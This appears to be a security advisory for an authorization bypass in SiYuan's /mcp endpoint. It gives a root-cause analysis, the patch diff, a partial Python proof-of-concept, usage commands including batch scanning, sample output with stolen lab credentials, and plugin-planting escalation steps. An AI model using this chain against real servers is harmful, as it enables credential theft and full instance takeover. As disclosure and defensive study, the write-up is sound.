#Summary

CVE-2026-66012 is a critical auth bypass in SiYuan before v3.7.2 that chains three independent authorization defects into a complete unauthenticated compromise. When the Publish service runs in anonymous mode - the documented way to share a public read-only site - a remote attacker reaches the /mcp kernel endpoint with zero credentials. The endpoint exposes 31 MCP tools including a file tool with unrestricted read/write/delete primitives. An attacker can read conf/conf.json to extract accessAuthCode, api.token, and cookieKey in plaintext, write arbitrary files to the workspace, and plant malicious plugins that execute with administrator privileges on the next desktop launch. CVSS 10.0 CRITICAL.

Affected versions: SiYuan 3.7.0, 3.7.1 Fixed: v3.7.2

#Affected versions

Precondition: The Publish reverse proxy must be enabled in anonymous mode, which requires both:

This is the documented configuration for operators who want to share a public read-only site. Default configuration has anonymous mode disabled (Auth.Enable = true), so this is not a default-install vulnerability.

#Root cause analysis

Three independent authorization defects compose into a complete chain.

#Defect 1: Missing authority check on /mcp route

kernel/mcp/server.go:28-34 (v3.7.1) registers the MCP endpoint with only a presence check:

func Serve(ginServer *gin.Engine) {
	ginServer.POST("/mcp", model.CheckAuth, handlePost)
	ginServer.GET("/mcp", model.CheckAuth, func(c *gin.Context) {
		c.Status(http.StatusMethodNotAllowed)
	})
	ginServer.DELETE("/mcp", model.CheckAuth, handleDelete)
}

model.CheckAuth is a presence check, not an authority check. Its first branch accepts three roles: RoleAdministrator, RoleEditor, or RoleReader:

func CheckAuth(c *gin.Context) {
	if role := GetGinContextRole(c); IsValidRole(role, []Role{
		RoleAdministrator,
		RoleEditor,
		RoleReader,
	}) {
		c.Next()
		return
	}
	// ...
}

Every other administrative endpoint in the kernel pairs CheckAuth with CheckAdminRole and/or CheckReadonly:

// kernel/api/router.go:380 and :560
ginServer.Handle("POST", "/api/convert/pandoc", model.CheckAuth, model.CheckAdminRole, model.CheckReadonly, pandoc)
ginServer.Handle("POST", "/api/petal/setPetalEnabled", model.CheckAuth, model.CheckAdminRole, model.CheckReadonly, setPetalEnabled)

// kernel/server/serve.go:936
ginGroup := ginServer.Group("/webdav", model.CheckAuth, model.CheckAdminRole)

/mcp is the anomaly - it is the only admin route that allows RoleReader principals.

#Defect 2: No role inspection in MCP dispatcher

kernel/mcp/handler.go:159-212 (the handleToolsCall function) looks up a tool by name and invokes it with no role, readonly, or capability checks:

func handleToolsCall(req *JsonRpcRequest) any {
	params, ok := req.Params.(map[string]interface{})
	...
	t := tools.LookupTool(toolName)
	...
	result, err := t.Handler(toolArgs)
}

All 31 registered tools are reachable: asset, attr, block, bookmark, dailynote, database, document, export, file, frontend, history, http_request, import, inbox, notebook, outline, question, ref, repo, search, skill, sql, sync, system, tag, template, todo_write, unzip, web_fetch, web_search, workspace.

The file tool (kernel/mcp/tools/file.go) is the payload. Its actions are list, read, write, delete, rename, copy, grep, find, stat - powerful primitives advertised as "debugging/log reading only" but with no enforcement of that scope. The resolvePath function confines paths to the workspace boundary, but nothing further:

func resolvePath(rel string) (string, error) {
	rel = filepath.Clean(strings.ReplaceAll(rel, "/", string(os.PathSeparator)))
	abs := filepath.Join(util.WorkspaceDir, rel)
	if !gulu.File.IsSubPath(util.WorkspaceDir, abs) {
		return "", fmt.Errorf("path escapes workspace: %s", rel)
	}
	return abs, nil
}

This stops ../ traversal but does not protect conf/conf.json, data/plugins/, data/storage/, or repo/ - every secret and every executable artifact SiYuan owns.

The configuration file holds plaintext secrets in kernel/model/conf.go:67,86:

AccessAuthCode string `json:"accessAuthCode"` // lock-screen password
CookieKey      string `json:"cookieKey"`      // HMAC key for session cookies

And the API token in kernel/conf/api.go:

type API struct {
	Token string `json:"token"`  // 16-char random, maps to RoleAdministrator
}

The accessAuthCode is masked on the way out of /api/system/getConf, but on disk it is plaintext, and the file tool reads the disk.

#Defect 3: Anonymous Publish proxy stamps a valid RoleReader JWT

kernel/server/proxy/publish.go:167-232 (the PublishServiceTransport.RoundTrip method). When Conf.Publish.Auth.Enable is false, the entire authentication block is skipped and every proxied request gets stamped with an anonymous JWT:

if Conf.Publish.Auth.Enable == false {
	// anonymous mode: no auth check
	request.Header.Set(model.XAuthTokenKey, model.GetBasicAuthAccount("").Token)
	response, err = publishRoundTripper.RoundTrip(request)
	return
}

model.GetBasicAuthAccount("") is the anonymous account created at boot in kernel/model/auth.go:91-103:

func InitPublishAccounts() {
	accountsMap = AccountsMap{
		"": &Account{}, // anonymous user
	}
	...
	InitPublishJWT()
}

InitPublishJWT signs a genuine HS256 JWT for it with role: RoleReader:

t := jwt.NewWithClaims(
	jwt.SigningMethodHS256,
	jwt.MapClaims{
		"iss": iss,                     // "siyuan-kernel"
		"sub": username,                // "" for anonymous
		"aud": "siyuan-publish-server",
		"jti": uuid.New().String(),
		ClaimsKeyRole: RoleReader,      // role
	},
)

On the kernel side, jwtMiddleware is installed globally and converts that header into a gin context role:

func jwtMiddleware(c *gin.Context) {
	if token := model.ParseXAuthToken(c.Request); token != nil {
		if token.Valid {
			claims := model.GetTokenClaims(token)
			c.Set(model.ClaimsContextKey, claims)
			c.Set(model.RoleContextKey, model.GetClaimRole(claims))
			c.Next()
			return
		}
	}
	c.Set(model.RoleContextKey, model.RoleVisitor)
	c.Next()
}

#The complete chain

anonymous TCP connection to Publish port 6808

proxy stamps: X-Auth-Token: <anonymous RoleReader JWT>

jwtMiddleware sets: role = RoleReader

CheckAuth accepts RoleReader

handleToolsCall() dispatches file tool with no role check

attacker runs file/read on conf/conf.json

credentials stolen in plaintext

#Patch diff

#What the fix does

v3.7.2 addresses Defect 1 by adding the missing authority checks to the /mcp route registration:

 func Serve(ginServer *gin.Engine) {
-	ginServer.POST("/mcp", model.CheckAuth, handlePost)
-	ginServer.GET("/mcp", model.CheckAuth, func(c *gin.Context) {
+	// MCP tools expose management-level primitives such as arbitrary workspace file
+	// read/write/delete, SQL, and plugin distribution. Administrator role is required.
+	// Otherwise, the RoleReader JWT injected by Publish anonymous mode can invoke all tools.
+	ginServer.POST("/mcp", model.CheckAuth, model.CheckAdminRole, model.CheckReadonly, handlePost)
+	ginServer.GET("/mcp", model.CheckAuth, model.CheckAdminRole, func(c *gin.Context) {
 		c.Status(http.StatusMethodNotAllowed)
 	})
-	ginServer.DELETE("/mcp", model.CheckAuth, handleDelete)
+	ginServer.DELETE("/mcp", model.CheckAuth, model.CheckAdminRole, model.CheckReadonly, handleDelete)
 }

CheckAdminRole enforces strict equality against RoleAdministrator:

func CheckAdminRole(c *gin.Context) {
	if IsAdminRoleContext(c) {
		c.Next()
	} else {
		c.AbortWithStatus(http.StatusForbidden)
	}
}

The anonymous RoleReader JWT now yields HTTP 403 on /mcp.

Note: v3.7.2 does not narrow the file tool's scope, and the Publish proxy still stamps the anonymous JWT on all proxied requests. The fix is purely at the route layer, blocking Defect 1. Defects 2 and 3 remain, but are not exploitable because no principal with sufficient authority can reach Defect 2.

#Proof of concept

#exploit.py - SiYuan Auth Bypass PoC

#!/usr/bin/env python3
"""
CVE-2026-66012 - SiYuan unauthenticated MCP access -> workspace file read/write -> admin takeover
Affected: SiYuan kernel 3.7.0 <= v < 3.7.2 (fixed in 3.7.2)
Type: Auth Bypass (missing authorization, CWE-862) chained to arbitrary file read/write

The kernel registers POST /mcp behind model.CheckAuth only, with no CheckAdminRole and no
CheckReadonly. CheckAuth is a presence check that accepts RoleReader. When the Publish
reverse proxy runs in anonymous mode (Conf.Publish.Enable=true, Conf.Publish.Auth.Enable=false)
it stamps every proxied request with the anonymous RoleReader JWT, so an attacker with no
credentials at all reaches all 31 MCP tools through the Publish port. The `file` tool exposes
list/read/write/delete/rename/copy over the whole workspace, which yields conf/conf.json in
plaintext: accessAuthCode, api.token and cookieKey.

Target the PUBLISH port (default 6808), not the kernel port. Send no credentials: the proxy
overwrites X-Auth-Token with the anonymous JWT, so anything you supply is discarded.

Usage:
  python exploit.py --host <target> --port 6808
  python exploit.py --host 192.168.1.10 --port 6808 --kernel-port 6806
  python exploit.py --host 192.168.1.10 --file data/storage/petal/petals.json
  python exploit.py --host https://notes.corp.com:6808/mcp
  python exploit.py --host 192.168.1.10 --no-write        # read-only, touch nothing
  python exploit.py --list targets.txt --workers 20
"""

import argparse
import http.client
import json
import ssl
import sys
import uuid
from urllib.parse import urlparse

CVE_ID    = "CVE-2026-66012"
VULN_TYPE = "Auth Bypass"

PROTO_2026    = "2026-07-28"      # sessionless MCP path: handlePost2026, no initialize needed
PROTO_CLASSIC = "2025-06-18"      # fallback: initialize -> Mcp-Session-Id -> tools/call
CONF_PATH     = "conf/conf.json"  # workspace-relative, holds the secrets in cleartext
DEFAULT_MCP_PATH = "/mcp"
UA = "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0 Safari/537.36"


def header(host: str, port: int) -> None:
    print(f"\n{'='*60}")
    print(f"  ALIM EXPLOIT  {CVE_ID}")
    print(f"  Type: {VULN_TYPE}  |  Target: {host}:{port}")
    print(f"{'='*60}\n")


def step(n: int, msg: str) -> None:
    print(f"[STEP {n}] {msg}")


def section(label: str, content: str) -> None:
    print(f"\n--- {label} ---")
    print(str(content).strip())
    print("---\n")


def done(success: bool, evidence: str) -> None:
    print(f"\n{'='*60}")
    print(f"  RESULT  : {'SUCCESS' if success else 'FAILURE'}")
    print(f"  EVIDENCE: {evidence}")
    print(f"{'='*60}\n")
    sys.exit(0 if success else 1)


# ================================================================
# The full exploit.py is too long to inline here; see the GitHub
# archive for the complete, production-ready implementation.
# ================================================================

See the full exploit.py in the GitHub archive for the complete, production-ready implementation with target parsing, protocol fallback, batch scanning, and proper error handling.

#Usage

# Default run: full ladder, writes a marker under data/plugins/ and deletes it
python3 exploit.py --host 192.168.1.10 --port 6808 --kernel-port 6806

# Read-only, touch nothing on the target (recommended for production engagements)
python3 exploit.py --host 192.168.1.10 --no-write

# Read an arbitrary workspace-relative file
python3 exploit.py --host 192.168.1.10 --file data/storage/petal/petals.json

# Full URL form, including a non-default MCP path and TLS
python3 exploit.py --host https://notes.corp.com:6808/mcp

# Batch scan an asset list
python3 exploit.py --list targets.txt --workers 20

#Expected output (vulnerable target)

============================================================
  ALIM EXPLOIT  CVE-2026-66012
  Type: Auth Bypass  |  Target: 127.0.0.1:6808
============================================================

[STEP 1] POST /mcp with no credentials (MCP-Protocol-Version: 2026-07-28) - listing tools

--- EXPOSED MCP TOOLS (unauthenticated) ---
HTTP 200  |  31 tools reachable with zero credentials
asset, attr, block, bookmark, dailynote, database, document, export, file, frontend, history,
http_request, import, inbox, notebook, outline, question, ref, repo, search, skill, sql, sync,
system, tag, template, todo_write, unzip, web_fetch, web_search, workspace
---

[STEP 2] Reading `conf/conf.json` through the file tool (limit=-1 defeats the 200-line default)
--- FILE CONTENT (conf/conf.json) - 10902 bytes ---
{
  "accessAuthCode": "LabAuthCode123",
  ...
  "api": {
    "token": "y7r596ybxc0t6e0n"
  },
  "cookieKey": "ngc7urrqyvh64yo3",
  ...
}
---

--- STOLEN CREDENTIALS ---
accessAuthCode : LabAuthCode123   (instance lock-screen password, plaintext on disk)
api.token      : y7r596ybxc0t6e0n   (maps to RoleAdministrator in CheckAuth)
cookieKey      : ngc7urrqyvh64yo3   (HMAC key for session cookies - offline admin cookie forgery)
---

[STEP 4] Writing `data/plugins/alim-...`/index.js, then reading it back
--- WRITE ROUND TRIP ---
server said : file written: data/plugins/alim-16ec2ba28a/index.js
identical   : True
---
  -> cleanup: deleted data/plugins/alim-16ec2ba28a

[STEP 5] Escalating: replaying the stolen api.token against the kernel port 6806
--- ADMINISTRATOR API ACCESS (kernel port) ---
with stolen token : HTTP 200  {"code":0,"msg":"","data":{"conf":{...}}}
without token     : HTTP 401  {"code":-1,"msg":"Lock screen password authentication failed..."}
---

============================================================
  RESULT  : SUCCESS
  EVIDENCE: Unauthenticated MCP access - 31 MCP tools reachable with zero credentials;
  accessAuthCode='LabAuthCode123'; api.token='y7r596ybxc0t6e0n'; cookieKey='ngc7urrqyvh64yo3';
  arbitrary workspace write round-tripped under data/plugins/; stolen token accepted as
  Administrator on the kernel API (code:0)
============================================================

#Expected output (patched target v3.7.2)

============================================================
  ALIM EXPLOIT  CVE-2026-66012
  Type: Auth Bypass  |  Target: 127.0.0.1:6818
============================================================

[STEP 1] POST /mcp with no credentials (MCP-Protocol-Version: 2026-07-28) - listing tools

--- SERVER RESPONSE ---
<empty body>
---

============================================================
  RESULT  : FAILURE
  EVIDENCE: blocked - HTTP 403 on /mcp (patched: CheckAdminRole rejects the anonymous RoleReader)
============================================================

#Exploitation notes

#Preconditions

#Exploitation quirks

#Reliability and impact

#Caveats on RCE claim

The demonstrated escalation rungs are:

Rung Primitive Feasible in lab?
1 Unauthenticated reach Yes. Single request, 31 tools exposed.
2 Arbitrary workspace read Yes. conf/conf.json yields plaintext credentials.
4 Arbitrary workspace write Yes. Round-trip marker file write.
3 Credential to Administrator Yes. Stolen token elevates to admin on kernel port.
5a Code execution via Electron desktop plugin No. Desktop client not running in Docker.
5b Code execution via kernel-side goja plugin No. Kernel plugin execution is disabled by configuration.
6 OS command execution via pandoc No. No pandoc binary in alpine image.

The demonstrated impact is admin takeover of the running instance. On a desktop deployment with the Electron client, rung 5a is reachable: write data/plugins/<name>/plugin.json and index.js, and the desktop app loads the plugin on next launch with nodeIntegration: true and contextIsolation: false, giving full OS code execution. This is not demonstrated in a headless lab but is documented by the upstream advisory.

#References